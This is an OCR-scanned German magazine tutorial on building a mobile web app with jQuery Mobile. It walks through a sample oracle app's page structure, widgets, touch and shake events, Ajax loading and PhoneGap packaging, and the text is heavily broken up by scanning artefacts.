fo lgender Zei le beg innen :  

<!DOCTYPE html> 

Dies sagt n ichts anderes, a l s  dass d ie  Seite 
den neuen HTMLS-Standard verwenden wi l l .  
V ie le  Browser nehmen grundsätz l i ch  d iese 
Vers ion und ignorieren d iesen E i ntrag. Bei 

· anderen, beispie lsweise dem Microsoft I nter­
net Explorer, kommt es ohne d iese Zei le m it-
unter zu unerfreu l ichen Seitendarste l l ungen.  

Wie bei HTML üb l ich ,  besteht jede Seite 
aus den g rundsätz l ichen Defi n it ionen im 
<head>-E iement und den e igent l ichen I nfor­
mationen im  <body>. Die erste Anweisung i m  
<head>-Bereich:  • 

<meta name="viewport" 
content="width=device-width, in itial-scale= 1 " >  

fordert den Browser auf, die Breite der Seite i n  
d ie B i ldsch i rmbreite e inzupassen, a l so n icht 
mit virtuel len Seiten zu a rbeiten, sowie d ie an­
fäng l iche Zoom-Stufe auf 1 einzustel len.  

Die rest l ichen Zei len i m  Header-Bereich 
binden das jQuery-Mobi le-Stylesheet und die 
dazugehör igen JavaScript-B ib l iotheken ein .  
Fa l ls  etwas dagegen spricht, per Lin k  auf d iese 
Dateien zuzugreifen, kann  man sie auch auf 
den eigenen Server herunter laden und von 
dort aus  e inb inden.  jQuery Mobi le ver langt 

kei ner le i  Zug riffssch lüssel oder e inen be­
stimmten Ausfüh rungsort, wie es bei e in igen 
anderen JavaScript-Frameworks der Fa l l  i st. 

Den Aufba u e iner  B i ldsch i rmseite be­
schre ibt jQuery Mobi le über <div>-E iemente. 
Das E lement mit dem Attri but data-role="page" 
bi ldet die Klammer um e ine komplette Seite. 
Das "data-" im Namen des Attr ibuts hat 
n ichts mit Datenverwa ltung oder Ähn l ichem 
zu tun. Es ist d ie  offizie l l e  Empfeh lung  von 
HTMLS, dass a l le N icht-Standa rdattr ibute mit 
"data-" beg i n nen sol len,  damit man s ie von 
anderen u nterscheiden kann .  

E i ne  Seite besteht norma lerweise auf dem 
Handy-B i ldsch i rm aus  e inem Ba l ken m it 
Ü bersch rift (header) ,  dem I n ha l t  (content) 
und einem Ba lken u nten (footer). Verpfl ich­
tend ist kei ner der B löcke. 

Seitenübergänge 

Auch wenn e ine Webseite vom Aussehen her  
noch so seh r e iner Handy-App ähne lt, beim 
Übergang von einer Seite auf d ie nächste ist 
es meistens  vorbei mit dem positiven E in­
d ruck: Die a lte Seite verschwindet und nach 
ein iger Zeit  baut der Browser häppchenweise 
die neue Seite auf. N icht so mit jQuery Mobile. 
Das Gegenm ittel he ißt Ajax (Asynchronous 
JavaScript and XML) .  Damit lädt n icht der 
Browser d ie HTML-Datei der neuen Seite, son­
dern die a ktue l le Seite per JavaScri pt. Dies 
passiert bei jQuery Mobile ohne zusätzl ichen 
Programmieraufwand: 

<a href=" infoView.html" 
data-tra nsition = "slide" >Info</ a > 

Al le Links auf andere Seiten, d ie in HTML ent­
ha lten s ind,  werden von jQuery Mobi le er­
kannt und du rch ein Nachladen per Ajax er-
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JqmOrakel ' · 

Geben Sie hier die Frage ein, die Sie 
dem Orakel stellen wollen 

Ihre Frage: 

Wie werde Ich glücklich 

Ant\.vort anzetgen 

Ihre Frage: 
Wie werde ich g lücklich 

Ihre Antwort: 

Fahren Sie über die 
weisse Fläche oder 
schOttein das 
Handy, bis die 
Antwort erscheint 

Vorsicht ist aller Laster Anfang. 

Know-how I jQuery Mobile 

setzt. Aus S icherheitsg ründen (Same Orig i n  
Pol icy) lassen dies viele Browser nur  bei Seiten 
zu, die von derse lben Domäne kommen wie 
die aktuel le Seite. I st d ies n icht der Fa l l , wird 
das Laden der Seite an den Browser delegiert. 

Nach dem Laden wird die neue Page dem 
aktuel len DOM (Document Object Model, d ie 
baumart ige Datenstruktur  i m  Browser mit 
a l len I nformationen zu den Seiten inha lten) 
h i nzugefügt. 

Dad u rch können d u rchaus  zwei oder 
mehrere Seiten g l eichzeit ig im DOM sei n .  
jQuery Mobi le  blendet d ie gerade benötigte 
e in .  Mit welcher An imation das vonstatten 
geht, legt das Attr ibut data-transition fest. Beim 
Herunterladen kreist zuerst der WartekringeL 
I st die Seite bereit zur  Anzeige, g leitet s ie bei 
data-transition="slide" von der Seite here in .  Stan­
dardmäß ig verwendet jQuery Mobi le die 
An imation "fade" (E inblenden) .  

So l l  e ine  Seite a ls E ingabedia log ange­
zeigt werden, reicht dafür das zusätzl iche At­
tr ibut data-rel="dialog": 

<a href="abfrageDialog.html" data-rel="dialog"> 
Abfrage erfassen</a>  

Seitenübergänge lassen s ich natür l ich auch 
per  JavaScript prog rammieren: 

$.mobile.changePage("answerView.html", 
{ transition: "slideup" } ); 

Das erste Arg u ment der Funktion changePage() 
zum Seitenwechse ln i st die Seite, auf die ge­
wechselt  werden so l l .  Das zweite g i bt d ie  
gewünschte An i mat ion bei m Seitenü ber­
gang an .  

A l l e  Aufrufe beg innen m it dem für jQuery 
Mobi le typischen Dol l a rzeichen. Al le speziel­
len F u n kt ionen von jQuery Mobile sind via 
$.m'obile erreichba r. 

....._Telekom.de "' 1 1 :41 
JQmOrakel lnfo 

Die App jqmOrakel ist eine 
Beispielanwendung zu einem ct Artikel 
über jQuery Mobile. 
Autor: Gerhard Völkl 

* 0 ' * 0 ' * 0 ' A 0 i 
Orilk('l Lrstc lnlo Orilkcl L1stc Info Orilkcl lrste Info Or<1kel lt�l<.• lnlo 

Die Orakel-Anwendung besteht aus vier S.eiten: Eine zur Eingabe der Frage üqmOrakel.html), eine für die 
Antwort (answerView.html), eine mit der Liste der Sprichwörter ( l istView.html), aus denen eine JavaScript­
Funktion eine Antwort bastelt, und eine mit einigen Informationen über die App ( infoView.html) .  
Die Scha ltzentra le in  der jQuery-Mobi le-Beispielanwendung ist die untere Navigation (Toolbar) .  
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Know-how I jQuery Mobile 

<!DOCTYPE html> 

<html> 

Grundsätzl iches 

Eine Bi ldschirmseite 
defin iert jQuery Mobile 
durch <div>-Eiemente mit 
entsprechenden Rollen 
(.,data-role"). 

<head> 

<title>jqmOrakel <ltitle> 

<meta name="viewport" content="width=device-width, initial-scale=1"> 
<link rel="stylesheet" href="http://code.jquery.com/mobile/ 1 . 1 .0�query.mobile-1 . 1 .0.min.css" /> 

<script src="http:/ /code.jquery.co�query-1 .7 . 1 .min.js"></script> 

<script src="http:/ /code.jquery.com/mobile/1 .1 .0�query.mobile- 1 . 1 .0.min.js"></script> 

<lhead> 

<body> 

Bildschirmseite 
<div data-role="page" id="infoPage" data-theme="b"> 

<div data-role="header" data-position="fixed" data-theme="b"> 

<hl >jqmOrakel lnfo</hl > 

</div><!-- /header --> 

<div data-role="content"> 

Die App <strong>jqmOrakel</strong> ist die Beispielanwendung zu einem 

Artikel über jQuery Mobile in c't von Gerhard Völkl. 

</div><!-- /content --> 

<div data-role="footer" data-position="fixed" data-id="persFooter"> 

<div data-role="navbar"> 

<ul> 

<li><a href="jqmOrakel.html" data-icon="home">Orakel</a></li> 

<li><a href="listView.html" data-icon="gear">Liste</a></li> 

<li><a href="infoView.html" data-icon="info">lnfo</a></li> 

</ul> 

</div><!-- /navbar --> 

</div><!-- /footer --> 

</div> 

</body> 

</html> 

Toolbar 

jQuery Mobi le  br ingt  e ine Menge von Steu­
erelementen (Widgets) m it, d ie  HTML ver­
missen lässt. Besser noch: S ie reag ieren auf 
Berührung und sehen aus  wie d ie  E ingabe­
elemente in  Apps. Als einfaches Beispiel so l l  
d ie Überschriftenle iste (header ba r) d ienen.  
Sie befi ndet s ich oben auf  der  B i ldsch i rm­
seite und kann zusätzl ich zum Überschriften-

text E lemente zur Navigation oder Befeh l s­
knöpfe entha lten: 

<div data-role="header" data-position="fixed">  
<h1 >jqm0rakel Info</h1 >  

</div> 

jQuery Mobi le  erzeugt d ie  Leiste a utoma­
t isch aus d ieser Defi n it ion .  Mit  data­
position="fixed" ble ibt die Leiste immer am obe-

$( ' # a n s w e r P a g e ' ) . l i v e (  ' p a g e s h t w ' , f u n c t i o n ( e v e n t ) {  
i f  ( w i n d o w . D e v i c e Mo t i o n E v e n t )  { 

$ ( w i  n d o w ) .  b i n d  ( ' d e v i  c e m o t  i o n ' ,  o n D e v  i c e M o t  i o n ) ;  
) e l s e { 

a l e r t ( ' N o M o t i o n S e n s o r ' ) ;  
) 

» ;  
v a r  l a s t E v e n t  = n u l l ; 

f u n c t i o n o n D e v i c e M o t i o n ( e v e n t )  { 
i f  ( l a s t E v e n t  = = n u l l )  { 

) 

L a s t  E v e n t  = e v e n t . o r i  g i  n a  l E v e n t .  a c  c e  l e r a  t i o n l n c l  u d  i n g G  r a v i  t y ;  
) 
e l s e  { 

) 

v a r  c u r r e n t  = e v e n t . o r i g i n a l E v e n t . a c c e l e r a t i o n l n c l u d i n g G r a v i t y ;  
i f  ( ( M'a t h . a b s ( l a s t E v e n t . x - c u r r e n t . x )  > 4 )  I I  

( M a t h . a b s ( l a s t E v e n t . y - c u r r e n t . y )  > 4 )  I I  
( M a t h . a b s ( l a s t E v e n t . z  - c u r r e n t . z )  > 4 ) )  

d r a w R a n d om Po i n t  ( ) ;  
I I  . . .  
l a s t E v e n t  = c u r r e n t ;  

) 
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l n  der Beispiei-App 
kann der Anwender 
a lternativ das Gerät 
schütteln, um zu 
einer Antwort zu 
kommen. 

ren Rand,  auch wenn der Anwender den s ich 
darunter befindenden Bere ich scrol lt. H ier  
kommt wieder  d ie  Abhäng igkeit vom ver­
wendeten B rowser i n s  Sp ie l .  Dies ge l i ngt 
dem F ramework eben n u r, wenn d ieser feste 
Posit ion ierung von HTML-E iementen via 
Stylesheet (CSS) u nterstützt. Andernfa l l s  rol lt 
d ie  Ü berschriften leiste weg, wie ohne das At­
tr ibut .,fixed". 

E in bel iebtes Element in der Übersch rift ist 
ein pfe i lförmiger  Befeh l sknopf mit der Be­
schriftung .,Zu rück", wenn man von einer an­
deren Seite auf d ie  gerade aktuel le gewech­
selt i st. Vers ieht man d ie  Page mit dem Attri­
but data-add-back-btn="true" wird dieser ohne 
weiteres Zutun von jQuery Mobi le  erzeugt. 

E in weiterer Vertreter aus der  Befeh ls leis­
tenfam i l i e  ist die Navigations le iste, die die 
Beispiei-App im F ußbereich des B i ldschirms 
verwendet: 

<div data-role="navbar"> 
<ul> 

<li><a href="jqmOrakel.html" 
data-icon="home">Orakel </a></li> 

<l i><a href="listView.html" 
data-icon=" gear" > Liste</ a > </li > 

<l i><a href=" infoView.html" 
data-icon= " info" >Info</ a > </li > 

</ul> 
</div> 
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Die gängigsten Steuerelemente von jQuery Mobile 

� 
Antwort anzeigen 

<button>Antwort anzeigen<lbutton>  

�� 
Checkbox 

<input type="checkbox">Checkbox<linput> 

Select Menu 
--�---------�� 

Sta ndard : 7 day ., 

<Iabel for="select-choice-0" class="select"> 
Select menu:<llabel> 

<select name="select-choice-0" id="select-choice-1 " >  
<option value="standard">Standard: 7 day<loption> 
<option value="rush">Rush: 3 days<loption> 
<Option value="express">Express: next day<loption> 
<option value="overnight">Overn ight<loption> 

<lselect> 

Flip toggle switch:  

<label for="on-off-slider">Fl ip toggle switch :<llabel> 
<select data-role="slider" id="on-off-slider"> 

<option value="on">On<loption> 
<Option value="off'>Off<loption> 

<lselect> 

Textarea : 

l 'm a basic textarea. lf this is pre­

populated with content, the height wi l l  

be automatically adju sted to f i t  without 

needing to scrol l .  

<label for="textarea-a" >  Textarea:<llabel> 
<textarea name="textarea" id="textarea-a" >  
l 'm  a basic textarea. I f  this i s  
pre-populated with content, t h e  height will b e  
automatically adjusted t o  fit without 
needing to scroll. 
<ltextarea> 

Mit den Augen eines HTML-Designers gese­
hen, ist d iese Defin it ion n ichts anders als e in  
<div>-E iement, i n  dem s ich e ine Aufl i stu n g  
von Li nks, repräsentiert d u rch <ul>- und  <lil>­
E iemente, befindet. E ine  Navigations le i ste 
mit  versch iedenen Sym bolen macht e rst 
jQuery Mobi le daraus.  
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Radio buttons horicontal :  
·---�� Elj Green Blue 

<fieldset data-role="controlgroup" 
data-type="horizontal"> · 

<input type="radio" name="radio-choice" 
id="red" value="r" I> 

<label for="red">Red<llabel> 
< input type="radio" name="rad io-choice" 

id="green" value="g" I> 
<label for="green">Green<llabel> 
< input type="radio" name="radio-choice" 

id="blue" value="b" I> 
· 

<label for="blue">Blue<llabel> 
<lfieldset> 

<div data-role="header" data-position="fixed" 
data-theme="b"> 

<h1 >Antwort<lh1 >  
<ldiv> 

-�� 
Ja Nein Hm 

<div data-role="controlgroup" data-type="horizontal"> 
<a data-role="button" href="yes.html" >Ja<la> 
<a data-role="button" href="no.html">Nein<la> 
<a data-role="button "  href="maybe.html">Hm<la> 

<ldiv> 

Input sl ider: � 
<input type="range" name="slider" id="slider" 
value="60" min="O" max=" 1 00" data-highl ight="true" 
I> 

Search Input:  

<label for="search-basic">Search Input:<llabel> 
< input type="search" name="search " id="search-basic" 
value="" I> 

Auf d iesen Des ig ngrundsatz tr ifft man  
i m mer wieder: De r  Entwick ler defi n iert da s  
Gewünschte über  d ie  gewohnten HTML­
E iemente, jQuery Mobi le i nterpretiert d iese 
und fügt  die notwendigen F u n kt ionen und  
CSS-St i l e  h i nzu .  Das  u ntersche idet jQuery 
Mobi le  von anderen Frameworks, d ie  n icht 

Know-how I jQuery Mobile 

* (t i 
Orakel Liste Info 

<div data-role="footer" data-position="fixed" data­
id="persFooter"> 

<div data-role="navbar"> 
<ul> 

<l i><a href="jqmOrakel.html" 
data-icon="home">Orakel <Ia> <lli> 

<l i><a href="listView.html" 
data-icon=" gear" >Liste <I a > <lli > 

<l i><a href="infoView.html" 

<lul> 
<ldiv> 

<ldiv> 

data-icon= " info" >Info <Ia > <lli > 

Text I nput: 

(Text Input with Placeholder 

<label for="basic1 " >  Text Input:<llabel> . 
< input type="text" name="name" id="basic1 " 
value="" I> 

< input type="text" name="name" id="basic2" 
value="" placeholder="Text i nput with placeholqer" I> 

Radio buttons vertical : 

<fieldset data-role="controlgroup" 
data-type="vertical"> 

< input typt!="radio" name="radio-choice" 
id="red" value="r" I> 

<label for="red">Red<llabel> 
< input type="radio" name="rad io-choice" 

id="green" value="g" I> 
< label for="green">Green<llabel> 
< input type="radio" name="radio-choice" 

id="blue" value="b" I> 
<label for="blue">Blue<llabel> 

<lfieldset> 

ohne  zusätzl i che JavaScr i pt-Fu n kt ionsa uf­
rufe im HTML-Text auskommen.  

Eingabe 

Bevor d ie Beispiei-App i rgendwelche Aussa­
gen treffen kann ,  benötigt s ie zuerst e inmal  
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die F rage, d ie  dem Anwender d u rch den 
Kopf geht. Er  kann  s ie ei nfach über e ine wie 
folgt defi n ierte Texteingabe eintippen: 

<label for="mainPage_textFrage">lhre Frage:<llabel> 
<input type="text" id="mainPage_textFrage" 

value=" "  placeholder="lhre Frage" I> 

Das <label>-E iement zu r  Beschre ibung der  
E ingabe gehört zum HTMLS-Standard und 
sol lte n icht feh len,  damit  jQuery Mobi le  es 
vom Layout her so aussehen lassen kann  wie 
bei e iner prog rammierten App. 

Von JavaScript aus kommt man mit  fo l ­
gender Zei le  an  d ie E ingabe des Anwenders:  

$( ' #ma inPage _ textFrage') . val() 

Die Funktion val() l iefert den aktuel len Wert des 
E ingabeelementes zu rück. Die Funktion $(), 
die auch als Selektor bezeichnet wi rd, schickt 
jQuery auf die Suche im DOM nach einer Viel­
zah l  von Kriterien, im Beispiel nach einer ein­
deutigen ID  hat ("mainPage_textFrage"), und 
g ibt das gefundene E lement zurück - oder 
eine Liste gefu ndener Elemente, fa l l s  mehrere 
auf das Kriterium passen. Der Aufbau der Zei­
chenkette zum Suchen ist an  die Syntax von 
CSS angelehnt. So findet $(" .foo") zum Beispiel 
a l le Elemente der CSS-Kiasse "foo". 

Die I Ds a l ler  E lemente i n  e iner  Web-App 
müssen eindeutig se in ,  a l so auch seitenüber­
g reifend, weil jQuery Mobi le  mehrere Seiten 
g le ichzeitig im DOM ha lten kann .  

val() lässt s i ch  übr igens auch benutzen, u m  
d e r  Texteingabe e inen Wert zuweisen :  

$ ('#main Page_ textFrage ' ) .  va l( 'Ha llo') 

Ereignisse 

Ist die E ingabe des Benutzers abgesch lossen, 
sol l  es per Knopfd ruck auf d ie nächste Seite 
(answer.html )  gehen: 

${'#mainPage_showAnswer8utton') .live('click', 
function(event){ I* . . .  *I }) ; 

Soba ld der Anwender auf den Knopf mit der 
I D  "ma inPage_showAnswerButton" d rückt, 
wird das Ereign i s  "dick" ausgelöst, h inter das 
man mit der jQuery-Funktion live() eine eige­
ne Funktion klemmen kann .  

Das Besondere an live() ist, dass es  das  Ele­
ment zu dem Zeitpunkt, zu dem die Funktion 
ausgeführt wird, n icht geben muss. Das funk­
tioniert so: Löst der Anwender das (I iek-Ereig­
nis der Scha ltfläche aus, wandert das Ereign is  
durch Event-Bubbl ing im  DOM-Bau m · nach 
oben bis er einen Cl ick-Handler findet, der auf 
ihn reag iert. l n  der Wurzel des DOM-Baumes 
gelangt es so bis zur document-Eigenschaft des 
aktuel len Fensters. Dort reagiert der jQuery­
interne Handler auf das Ereign i s  und schaut i n  
de r  Liste reg istrierter Hand le r  nach, ob dort 
einer zu finden ist, der mit dem aus lösenden 
Element verknüpft ist. I st das der Fal l , füh rt er 
ihn  aus. Frei l ich ist das viel zeitaufwendiger, 
als ein Element d i rekt mit einem Handler zu 
verknüpfen, a lso ohne Bubbl ing .  Wenn man 
sicher ist, dass das zu verknüpfende Element 
bereits vorhanden ist, b indet man den Hand­
ler besser per bind()  daran. 
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Außer  den sta ndardmäßig i n  HTML vor­
ha ndenen Ere ign issen bietet jQuery Mobi le 
zusätz l iche an ,  d ie s ich vor a l l em auf d ie  Sei­
tenwechsel  und Touch-Bed ienung beziehen 
(s iehe Tabel l e  u nten). 

Besondere Bedeutung kommt dem Ereig­
nis "pagein it" zu,  das  jQuery Mobi le  i m mer  
dann  aus löst, wen n  e ine neue Seite a nge­
zeigt wird: 

$ { '#aPage') .live( 'pageinit', function(event) { 
I* Seite in itialisiert *I 

}); 
Für  d iesen Zweck könnte man a uch m it $(do­
cument).ready() auf die Fertigste l l ung  des DOM 
reag ieren.  Das fun ktion iert jedoch n u r  bei 
e iner  vom Browser ge ladenen Seite, a be r  
n icht be i  e i ne r  pe r  Ajax geladenen, von de r  
ja mehrere i m  DOM hängen können.  

Wen n  der  Anwender wie i n  der  Be isp ie i ­
App zwischen Seiten h in - und  herwechse ln 
kan n, i st es s icherer, zur  l n it ia l i s ierung das Er­
e ign is  "pageshow" zu verwenden, da d ieses 
jedes Mal ausgelöst wird, soba ld die Seite auf 
dem Display erscheint. 

Übrigens: Der Ordnung ha lber hatte ich die 
live()-Aufrufe im  Prototypen der Beispiei-App 
i n  den Header-Bereich der HTML-Datei ge­
schrieben. Das ergab folgenden Effekt: Wenn 
die Seite d i rekt geladen wurde, hat a l les wun­
derbar funktioniert. Wurde die Seite aber per 
Link von e iner  anderen Seite gesta rtet, pas­
sierte - nichts. Die Problem entsteht aus dem 
Verhalten von jQuery Mobi le beim Nachladen 
einer Seite per Ajax: Während bei der ersten 
geladenen Seite der Browser ganz normal den 
Header-Bereich auswertet und al le JavaScript­
Befehle ausfüh rt, ignoriert jQuery Mobi le d ie­
sen Bereich beim Nachladen via Ajax. 

E reign isse i n  jQuery Mobi le  
Bedeutung 

Daher sol lten s ich d ie  JavaScri pt-Befeh le  
im  Body-Bereich nach <div data-role="page"> be­
finden.  Dad u rch ver l iert man zwar etwas an  
übersieht, aber immerh in  funktioniert es. 

Maus 

Damit d ie  Beispiei-App d ie r ichtige Antwort 
auf d ie Frage finden kann ,  benötigt s ie etwas 
mag i sche Energ ie des Anwenders, d ie  er  
d u rch Berüh ren des Display an  d ie  App über­
tragen so l l .  D ie I n formation, wo d ie  Berüh­
rung stattfi ndet oder - fa l l s  das  P rog ramm 
auf e i nem PC läuft - ,  wo s i ch  der Cursor be­
findet, l iefert jQuery Mobi le ü ber  Maus-Ereig­
n isse. Egal ,  ob per Berührung des Bi ldschi rms 
oder Bed ienung  per Maus, das  Framework 
löst i m mer  die g le ichen E re ign isse aus :  
"vmousedown", "vmousemove", "vmou­
seup" und "vcl ick" (s iehe Tabel le u nten}. Das 
"v" steht fü r "v i rtue l l " und sol l  andeuten, dass 
es s ich dabei n icht um orig ina lgetreue Nach­
b i l du ngen der  korrespondierenden Java­
Scr i pt-Events hande lt, sondern u m  e in heit­
l ich abstrah ierte. I m  Quel ltext s ieht das bei­
sp ie lsweise so aus :  

$( '#answerPage_Canvas').l ive('vmousemove', 
function (event) { 

var x = event.pageX-th is.offsetleft; 
var y = event.pageY-this.offsetTop; 
var context = $( '#answerPage_Canvas')[O] 

.getContext("2d"); 
context.fillRect(x,y,4,4); 
II . . .  
} 

)); 
Die Beispiei-App k l inkt sich damit in das Er­
e ign i s  "vmousemove" i m  Bereich des E ie-

Ereignis 

llerilliru""ng.,.en"'--­
tap Der Anwender hat kurz auf das Display getippt. 
swipe 
swipeleft 
swiperight 
vmouseover 
vmousedown 
vmousemove 
vmouseup 
Seite laden 

Der Anwender hat mit einem Finger über das Display gewischt. 
Der Anwender hat nach l inks gewischt. 
Der Anwender hat nach rechts gewischt. 
Die Maus oder der Finger des Anwenders befindet sich auf einem bestimmten Element. 
Der Mausknopf wurde nach unten gedrückt oder der Anwend er hat das Display berührt. 
Die Maus wird bewegt oder der Anwender fahrt mit dem Finger über das Display. 
Der Mausknopf wurde losgelassen oder der Anwender berührt das Display nicht mehr. 

Bevor eine Seite in den Speicher geladen wird. 
Nachdem eine Seite erfolgreich in den Speicher geladen wurde. 
Nachdem das Laden einer Seite nicht erfolgreich war. 

"..._ __ 

pagebeforechange 
pagechange 
pagechangefailed 
pagebeforeshow 
pagebeforehide 
pageshow 
pagehide 
pagebeforecreate 
pagecreate 
pageinit 
pageremove 
orientationchange 

Bevor der Wechsel von einer auf eine andere Seite erfolgt ist. 
Nachdem die Seiten geladen und alle Animationen ausgeführt wurden. 
Seitenwechsel war nicht erfolgreich. 
Bevor die Seite, auf die gewechselt wird, zu sehen ist und noch vor der Animation, die einen Übergang unterstützt. 
Bevor die Seite nicht mehr zu sehen ist. 
Nachdem die Seite nach der Animation zu sehen ist. 
Nachdem die Seite nicht mehr zu sehen ist, nach der Animation. 
Die Seite wurde bereits initialisiert, aber die jQuery Mobile Plug-ins sind noch nicht vollständig in Aktion getreten. 
Seite wurde initial isiert, aber noch nicht alle Widgets. Hier können eigene Widgets integriert werden. 
Seite vollständig initialisiert. 
Bevor die Seite von jQuery Mobile aus dem DOM entfernt wird. 
Der Anwender hat das Handy gedreht. 
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PhoneGap 

Fa l l s  man mit seiner Web-App Ge ld  verd ie­
nen möchte, kann  man mit dem kosten lo­
sen Framework PhoneGap daraus eine App 
für die P lattformen iOS, Android, Blackberry, 
Windows Phone, WebOS, Symbian und  
Bada machen. Das  funktion iert a l lerd ings  
n icht per  Knopfd ruck: S ie brauchen auf 
jeden Fa l l  d ie  Entwickl u ngsumgebung fü r 
d ie jewei l ige Plattform, d ie S ie bed ienen 
wol len.  Dies sol l s ich in  Zukunft ändern,  da 
PhoneGap e inen Cloud-Service (https:// 
bui ld .phonegap.coml} anbieten wi l l ,  der aus  
den Quel ldateien automatisch d ie fert igen 
Apps erzeugt. Dieser ist aktuel l  i n  der kos­
tenlosen Beta-Phase, wird später aber nicht 
kostenlos sein .  

Die Beispie i -App jqmOra kel  habe ich  mit  
PhoneGap für iOS ausprobiert. Grundsätz­
l ich braucht man dafü r  e inen Mac mit  OS X 
1 0.7 (L ion) oder besser und  d ie  Entwick­
l ungsumgebung Xcode, dazu d ie Z ip-Datei 
PhoneGap (s iehe c't-Li nk) .  ln d ieser befi n-

ments mit der I D  "answerPage_Canvas" e in .  
jQuery Mobi le  löst nach jeder  Veränderung 
der Posit ion des F ingers oder der  Maus  auf 
dem Disp lay aus, sofern d ies im  Bereich des 
angegebenen HTML-Eiements gesch ieht, in  
d iesem Fa l l  e in  HTMLS-Canvas-Eiement, e ine 
F läche auf dem Bi ldsch i rm, auf d ie  man per 
JavaScript etwas zeichnen kan n  [2] . 

Das Ereign i s  l i efert e in  Event-Objekt zu­
rück, dessen Attr ibute pageX und  pageY d ie  ak­
tuel le Position des Cu rsors entha lten. Da s ich 
d iese Koord inaten auf d ie  ganze Seite bezie­
hen, aber die Position i nnerha lb  der Zeichen­
fläche benötigt wird, zieht d ie  Funktion die 
Koord inaten der  Zeichenfläche davon a b. 
Das Objekt, auf das s ich e in  Ereign i s  bezieht, 
legt jQuery Mobi le i n  der Var iable this ab.  

Funktional ität 

Bei der Entwickl ung  von Apps fü r mobi le  Ge­
räte ist besonders i nteressant, wie e ingebau­
te Sensoren (GPS,  Gyroskop, Kamera, . . .  ) aus­
ge lesen und  angesteuert werden können .  
Das  W3C-Konsorti um,  das  fü r d ie  I nternet­
Sta ndards  zuständ ig  i st, defi n iert nach und  
nach  entsprechende P rogra m m ierschn itt­
ste l len,  aber welche der jewei l ige Herste l ler  
u msetzt und b is  wan n  das passiert, i st u nge­
wiss .  Die Website http://mobi lehtm iS .o rg/ 
l i efert eine Ü bers icht, welche F u n kt ionen 
welches Gerät aktue l l  zur  Verfügung stel lt. 

Fü r  die Beispie i -App i nteress iert konkret 
das Aus lesen des Bewegungssensors, denn 
die Übertragung der magischen Energie vom 
Anwender ins Mobi lgerät soll nicht n u r  per 
Berüh ren, sondern auch per Schütte ln  mög­
l ich sein .  Da es e in  Ereign i s  "schütte ln" n icht 
g ibt, kann  man es selbst ü ber  d ie  W3C-Stan­
dardschn ittste l l e  fü r Bewegungssensoren 
(s iehe Listing auf Seite 1 74) erste l len .  
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det s ich i m  Ordner l i b/ios e in  I n sta l lat ions­
paket fü r Apple, das nach Ausfü h rung  e ine 
zusätzl iche Projektvor lage "Cordova-based 
Appl icat ion" in Xcode angelegt hat. Der 
Name Cordova kommt daher, dass Phone­
Gap gerade dabei  i st, e in  Tei l  der  Apache 
Foundat ion u nter d ieser neuen Bezeich­
nung zu werden.  

Nach dem Erste l len  e ines neuen Projektes 
muss  man e inen Ordner www h inzufügen, 
der a l le HTML-, JavaScript-, und CSS-Datei­
en  entha lten sol lte, die zur App gehören.  
Nun noch auf den Kompi l ieren-Knopf d rü­
cken, s ich kurz ged u lden - und fert ig .  Die 
Beispie lanwendung läuft i m  iPhone-Emu la­
tor ohne erkennbare Probleme. 

E in  zusätzl icher  P lu spunkt von PhoneGap 
s ind e igene Programmiersch n ittste l len für 
Smartphone-spezifische Geräte, wie Senso­
ren oder Kamera, da d iese n icht ohne Wei­
teres d u rch Standards  abgedeckt s ind .  

I m  Listi ng erstel lt jQuery Mobi le  d ie  Ver­
b indung zum Ereign i s  "devicemotion" statt 
live() mit bind() .  Der Browser löst das Ereign i s  
bei jeder  erka nnten Bewegung  des Geräts 
aus .  Die F u n kt ion onDeviceMotion() ,  die da rauf  
reag iert, bekommt das  Arg ument event mit  
a l len I nformationen zur aktue l len Lage. Das  
Ereign i s  "devicemotion" gehört n icht zu den 
von jQuery v i rtua l i s ie rten Ereig n i ssen, des­
ha lb  stehen dessen E igenschaften nicht di­
rekt u nterha lb  von event zur  Verfügung, son­
dern u nter event.orig inalEvent. Die E igenschaft 
accelerationlncludingGravity enthält d ie Besch leun i­
gung  des Geräts in X-, Y- und Z-Richtung in­
k lus ive Schwerkraft (m/s2). E i n  Gerät, das  
flach und  regu ngs los a uf e iner  Ebene l i egt, 
l iefert demnach {x: 0, y: 0, z: 9.81 } . 

Serverkommunikation 

l n  der Beispiei-App werden a l le  verwendeten 
Sprichwörter aus der Datei answer.txt gelesen, 
die das Programm vom Anwender unbemerkt 
mit Ajax nach lädt. Dafür genügt e in Befehl :  

$.get("answer.txt", 
function(data} { 

var l ines = data.split("\n"); 
II . . .  

}) ; 
Bei n icht-stat ischen I nha lten braucht man ,  
wie be i  Webseiten auch,  serverseitiges Scrip­
t ing m it JSP, ASP, ColdFus ion oder meistens 
PHP .  Die I nteg rat ion i n  die Web-App geht 
mit  folgenden Zei len :  

<d iv  id="lnfo"><ldiv> 
<script> 
$("#lnfo").load("time.php") 
<lscript> 

Know-how I jQuery Mobile 

Die jQuery-Funkt ion Ioad() lädt den HTML­
Text der PHP-Seite t ime.php und platziert ihn  
dort, wo s ich das  <div>-E iement mit  der I D  
", nfo" befindet. 

App-gelegt 

Eine grundsätzl ich unschöne Eigenschaft 
von Web-Apps i st, dass man s ie wie jede an­
dere Webseite aus dem Browser starten 
muss. Besser wäre es, wenn  man sie wie ge­
wöh n l iche Apps e infach auf dem Bi ldsch i rm 
ant ippen könnte. 

Bei iPhone und iPad lässt sich das relativ 
e i nfach rea l i s ieren, wenn der Anwender mit­
spielt .  Dieser muss nu r  im Safa ri-Browser auf 
das lcon für weitere Funktionen drücken, so­
ba ld er d ie  Webseite geöffnet hat. Dieses 
lcon befi ndet s ich beim iPhone u nten i n  der 
Mitte, beim i Pad l i nks oben. 

l n  dem dann erscheinenden Menü g ibt es 
d ie  Auswah l  "Zum Horne-Bi ldschirm". E inmal  
d ra ufgedrückt und  d ie  Web-App erscheint 
a uf dem B i ldsch i rm neben a l len anderen 
Apps.  Damit das  problemlos fu nkt ioniert, 
sol lte d ie erste Seite im Header-Bereich d iese 
zwei Zei len enthalten: 

<meta name="apple-mobi le-web-app-capable" 
content="yes"> 

<l ink rel="apple-touch-icon" href="logo.png" I> 

Die erste i nformiert den Browser darü ber, 
dass es s ich u m  eine Web-App handelt. Die 
zweite verweist auf d ie B i lddatei, d ie a ls  lcon 
auf dem Bi ldschirm d ient. 

U nter Android müssen Sie d ie gewünsch­
te Seite zunächst als Lesezeichen speichern. 
U nter "Lesezeichen" im  Menü wählen Sie das 
gespeicherte Lesezeichen du rch langes An­
t ippen aus und dann aus dem Kontextmenü 

"Ablegen auf dem Startb i ldsch i rm". 
Am einfachsten geht es auf einem Windows 

